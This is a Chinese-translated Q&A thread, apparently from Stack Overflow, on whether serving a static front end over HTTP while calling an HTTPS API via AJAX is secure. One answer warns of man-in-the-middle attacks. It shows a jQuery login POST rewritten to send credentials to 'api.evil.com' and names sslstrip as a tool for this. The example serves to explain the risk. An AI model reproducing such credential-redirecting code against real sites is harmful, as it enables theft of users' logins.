2014-03-28 30 views
0

如果我在http://domain.com和來自https://api.domain.com的相關數據中的AJAX具有完全靜態前端,它們之間傳輸的所有數據都將是安全的(就像兩個使用的都是https一樣)?Ajax HTTPS但在HTTP上託管的靜態內容

這個模型有潛在的缺陷嗎?

我問的原因是因爲我可以使用像Amazon S3這樣的服務來託管我的靜態網頁,只需在我的API上支付證書即可。

+1

我能想到的唯一問題是它不會在瀏覽器欄中向用戶顯示SSL證書。 – datasage

+1

[您的登錄表單發送到HTTPS,但是當您通過HTTP加載時將其自動清除](http://www.troyhunt.com/2013/05/your-login-form-posts-to-https-but-you .html) – SilverlightFox

+0

@SilverlightFox介意作爲回答? – tau

回答

1

除了這個模型導致只有部分加密的頁面,所以掛鎖和https不能在地址欄中顯示給用戶,他們不能(正確)驗證您的網站是真的,它可以也可以對您的HTTP內容執行MITM攻擊,並將進一步的通信重定向到攻擊者。

例如通過HTTP載入你的Ajax代碼可能如下:

$.ajax({ 
    type: 'POST', 
    url: 'https://api.domain.com/LogIn', 

如果攻擊者攔截從你的服務器向受害者的響應,並將其修改爲

$.ajax({ 
    type: 'POST', 
    url: 'http://api.evil.com/LogIn', 

用戶的憑據將被髮送到攻擊者而不是你的網站,如果你的攻擊者隨後將它們轉發到你的網站上,受害者就不會明智地知道他們的細節被盜用了。

諸如sslstrip之類的工具可以讓攻擊者很容易地完成這個任務(假設他們的位置合適,這是所有MITM攻擊的要求)。

+0

感謝您提醒我。這裏是一個關於安全堆棧交換的相關問題:http://security.stackexchange.com/questions/54744/https-login-vs-mitm-attack – tau

1

我認爲這種方法很好。

保留所有在S3上的大量訪問和靜態頁面(甚至使用Cloudfront進一步加速)。一個很好的例子是你的服務的主頁,一些幫助頁面等等。這些頁面可以在http上,因爲它們中沒有任何私有的東西。

當您然後要求用戶登錄並訪問「私人」內容時,請通過https將它們發送到另一個域,如secure.domain.com。然後,所有的內容都將得到保護,用戶將有信心登錄,因爲他們在登錄時看到瀏覽器中的安全綠色鎖定等。由於您的API還希望要求隱私,也應該在安全域上運行。

相關問題